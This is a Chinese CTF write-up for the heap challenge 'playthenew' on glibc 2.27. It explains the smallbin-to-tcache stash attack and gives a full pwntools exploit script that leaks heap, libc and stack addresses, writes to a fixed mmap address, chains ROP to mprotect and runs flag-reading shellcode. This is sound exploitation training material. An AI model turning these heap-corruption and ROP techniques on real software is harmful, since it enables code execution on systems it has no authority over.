Pwn学习总结(27):SmallBin – playthenew

实验环境:

x86_64, Ubuntu 18.04.6 LTS, Kernel 4.15.0-170-generic
GLIBC 2.27-3ubuntu1.5

实验Binary及答案:https://github.com/bjrjk/pwn-learning/tree/main/OtherBin/playthenew

ELF安全性:

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

反编译:

void *my_init()
{
  void *result; // rax

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  mmap_area = mmap((void *)0x100000, 0x1000uLL, 3, 34, -1, 0LL);
  result = mmap_area;
  *(_QWORD *)mmap_area = 66LL;
  return result;
}
__int64 readint()
{
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  read(0, buf, 8uLL);
  return (unsigned int)atoi(buf);
}
int menu()
{
  puts("* Buy a basketball");
  puts("* Throw a basketball");
  puts("* Show a dance");
  puts("* Change a basketball");
  return printf("> ");
}
void __fastcall buy()
{
  int index; // [rsp+8h] [rbp-8h]
  signed int size; // [rsp+Ch] [rbp-4h]

  printf("Input the index:");
  index = readint();
  if ( index > 4 || index < 0 )
  {
    puts("Invaild idx!");
    exit(0);
  }
  printf("input the size of basketball:");
  size = readint();
  if ( size <= 0x80 || size > 0x200 )
    exit(0);
  data[index].ptr = (char *)calloc(1uLL, size);
  data[index].size = size;
  if ( data[index].ptr )
  {
    printf("Input the dancer name:");
    read(0, data[index].ptr, data[index].size);
    puts("Success!");
  }
  else
  {
    data[index].ptr = 0LL;
    data[index].size = 0;
  }
}
void throw()
{
  int index; // [rsp+Ch] [rbp-4h]

  printf("Input the idx of basketball:");
  index = readint();
  if ( index > 4 || index < 0 )
  {
    puts("Invaild idx!");
    exit(0);
  }
  if ( !data[index].ptr )
  {
    puts("No basketball.");
    exit(0);
  }
  free(data[index].ptr);
}
void __fastcall show()
{
  int index; // [rsp+Ch] [rbp-4h]

  printf("Input the idx of basketball:");
  index = readint();
  if ( index < 0 || index > 4 )
  {
    puts("Invaild idx!");
    exit(0);
  }
  if ( !data[index].ptr )
  {
    puts("No basketball.");
    exit(0);
  }
  printf("Show the dance:");
  puts(data[index].ptr);
}
void __fastcall change()
{
  int index; // [rsp+Ch] [rbp-4h]

  printf("Input the idx of basketball:");
  index = readint();
  if ( index < 0 || index > 4 )
  {
    puts("Invaild idx!");
    exit(0);
  }
  if ( !data[index].ptr )
  {
    puts("No basketball.");
    exit(0);
  }
  printf("The new dance of the basketball:");
  read(0, data[index].ptr, data[index].size);
}
void __fastcall secret()
{
  if ( *(_QWORD *)mmap_area == 66LL )
    exit(0);
  printf("Input the secret place:");
  if ( read(0, (char *)mmap_area + 8, 0x148uLL) <= 0 )
    exit(0);
}
__int64 backdoor()
{
  if ( *(_QWORD *)mmap_area == 66LL )
    exit(0);
  return (*((__int64 (__fastcall **)(_QWORD))mmap_area + 2))(*((_QWORD *)mmap_area + 3));
}
void __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+Ch] [rbp-4h]

  my_init();
  puts("It's your show time!\n");
  while ( 2 )
  {
    while ( 1 )
    {
      menu();
      v3 = readint();
      if ( v3 <= 5 )
        break;
      if ( v3 != 1638 )
        goto LABEL_13;
      backdoor();
    }
    if ( v3 > 0 )
    {
      switch ( v3 )
      {
        case 1:
          buy();
          continue;
        case 2:
          throw();
          continue;
        case 3:
          show();
          continue;
        case 4:
          change();
          continue;
        case 5:
          secret();
          continue;
        default:
          goto LABEL_13;
      }
    }
    break;
  }
LABEL_13:
  exit(0);
}
//seccomp-related code omitted
void __noreturn sigalarm_handler()
{
  exit(0);
}
__int64 my_init2()
{
  signal(14, (__sighandler_t)sigalarm_handler);
  alarm(30u);
  return sub_1C8B();
}

seccomp沙箱开启系统限制为:

$ seccomp-tools dump ./playthenew
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x0000000f  if (A != rt_sigreturn) goto 0006
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0006: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0012
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0012: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0014
 0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0014: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0016
 0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0016: 0x15 0x00 0x01 0x0000000c  if (A != brk) goto 0018
 0017: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0018: 0x15 0x00 0x01 0x00000009  if (A != mmap) goto 0020
 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0020: 0x15 0x00 0x01 0x0000000a  if (A != mprotect) goto 0022
 0021: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0022: 0x15 0x00 0x01 0x00000003  if (A != close) goto 0024
 0023: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0024: 0x06 0x00 0x00 0x00000000  return KILL

为了做这道题目,我们来了解一下glibc2.27+的smallbin attack。

Smallbin Attack

下面的代码来自malloc.c:3647~3694。

  if (in_smallbin_range (nb))
    {
      idx = smallbin_index (nb);
      bin = bin_at (av, idx);
      if ((victim = last (bin)) != bin)
        {
          bck = victim->bk;
          if (__glibc_unlikely (bck->fd != victim))
            malloc_printerr ("malloc(): smallbin double linked list corrupted");
          set_inuse_bit_at_offset (victim, nb);
          bin->bk = bck;
          bck->fd = bin;
          if (av != &main_arena)
            set_non_main_arena (victim);
          check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
          /* While we're here, if we see other chunks of the same size,
             stash them in the tcache.  */
          size_t tc_idx = csize2tidx (nb);
          if (tcache && tc_idx < mp_.tcache_bins)
            {
              mchunkptr tc_victim;
              /* While bin not empty and tcache not full, copy chunks over.  */
              while (tcache->counts[tc_idx] < mp_.tcache_count
                     && (tc_victim = last (bin)) != bin)
                {
                  if (tc_victim != 0)
                    {
                      bck = tc_victim->bk;
                      set_inuse_bit_at_offset (tc_victim, nb);
                      if (av != &main_arena)
                        set_non_main_arena (tc_victim);
                      bin->bk = bck;
                      bck->fd = bin;
                      tcache_put (tc_victim, tc_idx);
                    }
                }
            }
#endif
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    }

glibc 2.27从smallbin中取出堆块时,如果对应大小的tcache没满,并且smallbin中还有chunk的话,就会把smallbin中的chunk转移到tcache中。

在转移过程中,并没有检查chunk的正确性。如果我们可以对smallbin中的chunk进行写操作的话,写入tc_victim->bk,第29、34行可以把libc的地址bin写入tc_victim->bk->fd。实现了任意地址写受控内容。

为了应用这个攻击,最好在tcache上先布局5个chunk,smallbin上布局3个chunk,然后去改smallbin上top堆块的bk。否则可能会出现其他校验问题。

Exploit

这道题目由于用了沙箱,就不能one_gadget了。它的题目里面给mmap了一块RW的区域。很明显是让我们在上面写shellcode。但是后门函数有个条件,是在mmap区域的第一个qword写一个值,因此恰好能用到上面的smallbin attack。

大致思路为:首先泄露堆和libc地址,然后按照上述所说构造堆块,进行smallbin attack把地址写到mmap的qword上,然后就可以执行后门函数了。先利用后门函数泄露栈地址。再利用后门函数执行gets做栈溢出,在栈上布局ROP链执行mprotect把mmap区段的属性加上X,然后调用mmap段上的shellcode完成对flag文件的open+read+write即可。

#!/usr/bin/env python3
# coding = utf-8
# Environment: Ubuntu 18.04

from pwn import *
from LibcSearcher import *
context(arch = "amd64", os = "linux", log_level = "debug")

def send_choice(choice: int) -> None:
    p.recvuntil('> ')
    p.send(str(choice))

def buy(index: int, size: int, data: bytes) -> None:
    send_choice(1)
    p.recvuntil("Input the index:")
    p.send(str(index))
    p.recvuntil("input the size of basketball:")
    p.send(str(size))
    p.recvuntil("Input the dancer name:")
    p.send(data)

def throw(index: int) -> None:
    send_choice(2)
    p.recvuntil("Input the idx of basketball:")
    p.send(str(index))

def show(index: int) -> None:
    send_choice(3)
    p.recvuntil("Input the idx of basketball:")
    p.send(str(index))

def change(index: int, data: bytes) -> None:
    send_choice(4)
    p.recvuntil("Input the idx of basketball:")
    p.send(str(index))
    p.recvuntil("The new dance of the basketball:")
    p.send(data)

def secret(data: bytes) -> None:
    send_choice(5)
    p.recvuntil("Input the secret place:")
    p.send(data)

def backdoor() -> None:
    send_choice(1638)

p = process('./playthenew')
elf = ELF('./playthenew')
gdb.attach(p, '')

# Step 1: Leak heap address from `tcache->next` field
for _ in range(2):
    buy(0, 0x88, 'a')
    throw(0)
show(0)
p.recvuntil("Show the dance:")
heap_base = u64(p.recv(6).ljust(8, b'\x00')) & 0xffff_ffff_ffff_f000
log.info(f"heap base: {hex(heap_base)}")

# Step 2: Leak Libc address via unsortedbin leak
for _ in range(5):
    buy(0, 0x88, 'a')
    throw(0)
buy(0, 0x88, 'a')
buy(1, 0x88, 'a')
throw(0)
show(0)
p.recvuntil("Show the dance:")
__malloc_hook = u64(p.recv(6).ljust(8, b'\x00')) - 0x70
libc = LibcSearcher('__malloc_hook', __malloc_hook)
libc_base = __malloc_hook - libc.dump('__malloc_hook')
system = libc_base + libc.dump('system')
log.info(f"__malloc_hook: {hex(__malloc_hook)}")
log.info('libc base: ' + hex(libc_base))
log.info('system: ' + hex(system))
throw(1)

# Step 3: Construct and send 0x170 size chunks in smallbin & tcache for attacking
for _ in range(5):
    buy(0, 0x160, 'a')
    throw(0)
for _ in range(7):
    buy(0, 0xc0, 'a')
    throw(0)
    buy(0, 0x90, 'a')
    throw(0)
buy(0, 0x90, 'a')
buy(1, 0xc0, 'a')
buy(2, 0x100, 'a')  # Useless chunk, preventing from forward consolidation
buy(2, 0x90, 'a')
buy(3, 0xc0, 'a')
buy(4, 0x100, 'a')  # Useless chunk, preventing from forward consolidation
buy(4, 0x90, 'a')
throw(0)
throw(2)            # Note that two 0xa0 size chunk #0 & #2 in unsortedbin now
buy(0, 0xc0, 'a')
buy(2, 0x100, 'a')  # Useless chunk, preventing from forward consolidation (top chunk)
throw(1)            # Intend to consolidate with old chunk #0 to 0x170 size chunk
throw(3)            # Intend to consolidate with old chunk #2 to 0x170 size chunk
throw(4)            # Note that a new 0xa0 size chunk #4 in unsortedbin now
throw(0)            # Intend to consolidate with old chunk #2 to 0x170 size chunk
buy(0, 0x200, 'a')  # Useless chunk, triggering unsortedbin consolidation and bin movement

# Step 4: Perform smallbin attack: write libc address to 0x100000
change(4, p64(heap_base + 0x1a00) + p64(0x100000 - 0x10))
buy(1, 0x160, 'a')

# Step 5: Use backdoor to leak stack address
puts = libc.dump('puts') + libc_base
environ = libc.dump('environ') + libc_base
secret(p64(0) + p64(puts) + p64(environ))
backdoor()
leak_stack = u64(p.recv(6).ljust(8, b'\x00'))
log.info(f"leak stack: {hex(leak_stack)}")

# Step 6: Prepare shellcode, turn anonymous segment into RWX, execute shellcode
gets = libc.dump('gets') + libc_base
shellcode = shellcraft.amd64.linux.cat2('flag')
secret(p64(0) + p64(gets) + p64(leak_stack - 0x110) + asm(shellcode))
backdoor()

pop_rdi_ret = 0x000000000002164f + libc_base
pop_rsi_ret = 0x0000000000023a6a + libc_base
pop_rdx_ret = 0x0000000000001b96 + libc_base
mprotect = libc.dump('mprotect') + libc_base
# mprotect(0x100000, 0x1000, 7) -> shellcode(cat flag)
ROPcode =   p64(pop_rdi_ret) + p64(0x100000) + \
            p64(pop_rsi_ret) + p64(0x1000) + \
            p64(pop_rdx_ret) + p64(7) + \
            p64(mprotect) + \
            p64(0x100020)

p.sendline(ROPcode)
p.interactive()

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注